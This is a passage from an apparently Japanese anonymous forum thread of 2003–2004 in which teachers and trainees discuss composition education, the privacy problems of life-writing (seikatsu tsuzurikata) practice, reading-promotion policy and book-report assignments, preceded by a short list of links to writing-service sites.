http://homepage2.nifty.com/ZIPANG/bunshyo_index.html
CreativeStaff WP&D
http://www.din.or.jp/~spaceinn/data.html
スタジオエイドス
http://village.infoweb.ne.jp/~fwhx9027/daihitsu/
知的代筆(古槌代筆工房)
http://www.daihitsu.com/
WORDs工房
http://www.jnit.co.jp/honyaku/words.html
文章工房マユミ
http://www2.neweb.ne.jp/wc/kohmori/index.html
有限会社おふぃすラポート
http://wwwpat.hi-ho.ne.jp/rapport/
物書き屋
http://homepage2.nifty.com/monokakiya/

111 :実習生さん:03/08/23 15:36 ID:l+6ePUIZ
皆さんは、作文の評価ってどうしてます?

112 :実習生さん:03/08/27 20:09 ID:RDIbYebb
age

113 :実習生さん:03/09/09 02:16 ID:fcI/1It+
今、プライバシーがこれだけ叫ばれている中で、作文教育を進めることは難しいと思うのだけれど。

114 :実習生さん:03/09/09 03:54 ID:iGf+J9KM
>>113
禿同。
生活綴り方は、生活を見つめることから出発した。
そして、それが社会の矛盾を突き、社会改革のエネルギーともなった。ずいぶん↑にもあったが、一部の政治思想とも結びついたりもした。
農業や土木作業などに対する差別意識を克服していくのはよいと思うが、夜の水商売や風俗産業(それも違法ぎりぎり)で、何とか子供を養っている親も多い。
教師がその辺をどう指導するのか? また出来るのか?
この不況下で、子供が、「うちのお父さんは、会社をリストラされました」などと生活を見つめる作文を書いたら、それを発表させるのか?
古きよき時代の幻想を追うような生活綴り方実践には疑問を感じる。

115 :実習生さん:03/09/12 17:34 ID:Ma1n5gj9
>>114
同感です。
確かに、戦前の生活綴方実践や、戦後初期の実践記録や作品を読むと、感動するのだけれど、現代においても、そのようなスタイルの実践でやっていけるのかは大いに疑問。
あのような生活の矛盾を直視したような作品は、なかなか書かせることができないのではないでしょうか。
そうなった場合、そこで教師の力量不足となってしまうのでは?
この不況下の生活困難を見つめることは大事だと思うのだけれど、そのことをクラスで発表することにどういう意味があるのだろう?
いや、意味があることは否定しないが、私だったら、発表したくない。
皆が貧しかった時代から、そうではない現代においては、それだけ、闇は深くなっている。
それを、オープンにしていくことだけが必要なことだとは思わないのだけれど。


116 :実習生さん:03/09/20 01:24 ID:fRcxWEQ/
作文をやってる方の意見を聞きたいなあ。


117 :実習生さん:03/10/04 23:32 ID:NiSxeahz
?


118 :実習生さん:03/10/12 11:28 ID:fuqeVCIT
やった、三連休!
昨日、西本勝美の臨床心理・臨床教育学の論文を読んでました。
西本は、作文と臨床心理の共通性を書いてます。
異論もあるけど、今日的な作文教育の課題に通じる部分があるのでは?


119 :実習生さん:03/11/04 17:36 ID:U1MKS2VM
生活綴方は闇だけを暴き、すべてを公表する実践ではない。

120 :実習生さん:03/11/06 05:37 ID:TnCBy1Xm
http://www.asahi.com/national/update/1105/036.html

これってどうよ?


121 :実習生さん:03/11/06 06:43 ID:CiyECbDb
>>120
ルビの活用はいいと思う。どんどんルビがつき、読めない漢字が無くなれば、文章への
抵抗感はかなり減るだろう。また、

>このほか読書奨励策として、読書をしてきたことが、高校や大学の入試で何らかの形で評価され
>ることや、通知表への読書状況の記述などを盛り込んだ。

この点もいいだろう。読書力が問われない入試が、活字離れの一因であることは明白だからね。
ただ、具体的な評価指標はあるのか・・・そこが気になるのだが・・・。

122 :あぼーん:あぼーん
あぼーん

123 :実習生さん:03/11/06 10:34 ID:2aGIinO0
>>120
でもこれって結局「学校お墨付きの本」だけが対象になりそうな予感。
はっきり言って読書する子には課題図書なんか物足りないし、
読まない子には道徳臭プンプンでもっとつまらんだろうと思う。
コバルトやハヤカワSF、極端言えばやおいものとかどうすんのよ?

124 :実習生さん:03/11/06 13:12 ID:JiYpzeq3
>>23殿に1票。文章力を鍛えるのでなくいわば告発文だな。子供に学ぶというのはこういうことか。
必要以上に子供の目線にあわすんでなく、社会に出すために首に縄つけても引き上げるのが教育だと思ったりして。
綴り方について和田秀樹、野口悠紀夫、陰山英男各氏の意見が聞きたい。

125 :実習生さん:04/01/26 15:22 ID:wO/N8zxW
良スレage

126 :実習生さん:04/01/26 15:23 ID:wO/N8zxW
age

127 :実習生さん:04/01/27 01:39 ID:DNLMZssE
読者感想文でさ、課題図書指定しないものがあるでそ。
ああいうのって、教師はその本について絶対知らないのに
「あらすじを書くな」みたいな事言うんですよ。
喪前はこの本知ってるのかと。

128 :実習生さん:04/02/04 15:12 ID:L0HhMa5z
読書感想文って、書く意味あるの?
評論をするなら、きちんとした書評の書き方を教えるべきでは。


129 :実習生さん:04/02/05 19:40 ID:BmiDAqe7
age

130 :実習生さん:04/02/08 17:44 ID:ZqVFJ36G
初歩的な質問で申し訳ないのですが、
作文教育と生活綴方ってどう違うんですか。


131 :実習生さん:04/02/10 00:21 ID:Cs/nxgLN
『作文と教育』2月号の合評会を行う。
ほとんど発言が無い。そんなにつまらなかったかな。
数少ない出た発言も、批判モード。
はあ。そんなにひどかったかな。


132 :実習生さん:04/02/10 03:04 ID:Hl1bKWC/
月刊PSIKO2月号「教育の研究」を読む

http://www.tohjusha.co.jp

133 :実習生さん:04/02/11 15:22 ID:kNrwk3p9
>132
なるほど。おもしろそう。
民間人校長は批判されがちだけど、藤原和博さんはよさ気。
彼の本、おもしろいし。
それにしても、こういう特集で教育学研究者が執筆していないとは。
教育学研究者の元気が無いのか?



134 :実習生さん:04/02/13 01:00 ID:6yFv+Sqp
age

135 :実習生さん:04/02/14 12:19 ID:Kqz7uvLC
>>132
これって、年間購読のみか。
他の特集は関心が無いんだけどなあ。
こういう売り方、やめてほしい。


136 :実習生さん:04/02/14 12:24 ID:76Oe7J3i
作文は小学校、中学校の段階では
直接教師がこうやってこうやって、こう書くんだよと、
文を書き示してやれ








って大村はま先生が言ってました

137 :実習生さん:04/02/25 00:00 ID:Ny0yPOTC
大村はま先生って誰?

138 :実習生さん:04/04/04 15:30 ID:jJQFEtdH
age


139 :実習生さん:04/05/14 09:38 ID:fdR3/jtY
すきなスレなのでage

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